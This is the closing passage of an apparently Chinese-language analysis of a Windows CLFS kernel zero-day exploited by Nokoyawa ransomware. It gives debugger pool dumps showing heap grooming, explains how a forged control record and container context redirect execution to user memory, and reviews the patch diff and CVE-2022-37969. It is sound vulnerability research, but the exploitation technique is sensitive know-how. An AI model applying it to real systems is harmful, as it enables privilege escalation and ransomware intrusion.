ffffa289`19254a08 ffffe381`a90c79c0 00000060`00000000
ffffa289`19254a18 00000000`00000060 ffffe381`a2303030
ffffa289`19254a28 ffffe381`a2303030 ffffe381`a2303030
ffffa289`19254a38 ffffe381`a2303030 ffffe381`a2303030
ffffa289`19254a48 ffffe381`a2303030 ffffe381`a2303030
0: kd> !pool ffffa289`19254810+0x1c8
Pool page ffffa289192549d8 region is Nonpaged pool
ffffa28919254080 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa28919254120 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa289192541c0 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa28919254260 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa28919254300 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa289192543a0 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa28919254440 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa289192544e0 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa28919254580 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa28919254620 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa289192546c0 size: a0 previous size: 0 (Allocated) Clfs
ffffa28919254760 size: a0 previous size: 0 (Free) Vad
ffffa28919254800 size: a0 previous size: 0 (Allocated) Clfs
ffffa289192548a0 size: a0 previous size: 0 (Allocated) Clfs
*ffffa28919254940 size: a0 previous size: 0 (Allocated) *NpFr Process: ffffa28915324300
Pooltag NpFr : DATA_ENTRY records (read/write buffers), Binary : npfs.sys
ffffa289192549e0 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa28919254a80 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa28919254b20 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa28919254bc0 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa28919254c60 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa28919254d00 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa28919254da0 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa28919254e40 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa28919254ee0 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
之后通过运算poi(0x369+ base block + 0x30)++实际上让主blf文件的base block+0x399自增1。最终在对主blf文件调用CreateLogFile是定位到的container context偏移为0x1570,找到了攻击者伪造的恶意contener context,在通过pContainer对象执行到了用户层内存0x5000000之中。
补丁分析
Win10 21H2
diff补丁,可发现补丁主要修改了CClfsBaseFile::GetControlRecord、CClfsBaseFile::AcquireMetadataBlock,同时新增了一个函数CClfsLogFcbPhysical::ValidateScratchBlockOffsets,在CClfsLogFcbPhysical::SetEndOfLog和CClfsLogFcbPhysical::RecoverTruncateLog中引用。
Win11 21H2
小结
在CVE-2022-37969中是通过前一个blf文件的错误的cbSymbolZone修改了下一个blf文件的conteiner context的pContaienr对象指针,从而在后续定位CClfsContainer对象时访问到了用户层内存,达成攻击流程,该漏洞利用需要通过循环创建blf文件来达到稳定的堆内存结构,从而使得后续可以成功修改后面的blf文件的conteiner context。
在CVE-2022-37969补丁中增加了对client context、cbSymbolZone越界检测,从而不能直接通过这种方法损坏conteiner context对象指针。
在本次漏洞利用中,巧妙地通过伪造control record的数据来造成越界读取,从而修改另外的base block数据,该处修改是通过指针定位到指定的内存,所以不用像CVE-2022-37969中通过反复创建blf文件来达成一种稳定的内存间隙状态,但利用过程中仍然需要通过布局内存使得在越界读取时读取到的是指定的内存地址。
参考链接
https://securelist.com/nokoyawa-ransomware-attacks-with-windows-zero-day/109483/
Created at 2023-05-31T19:44:15+08:00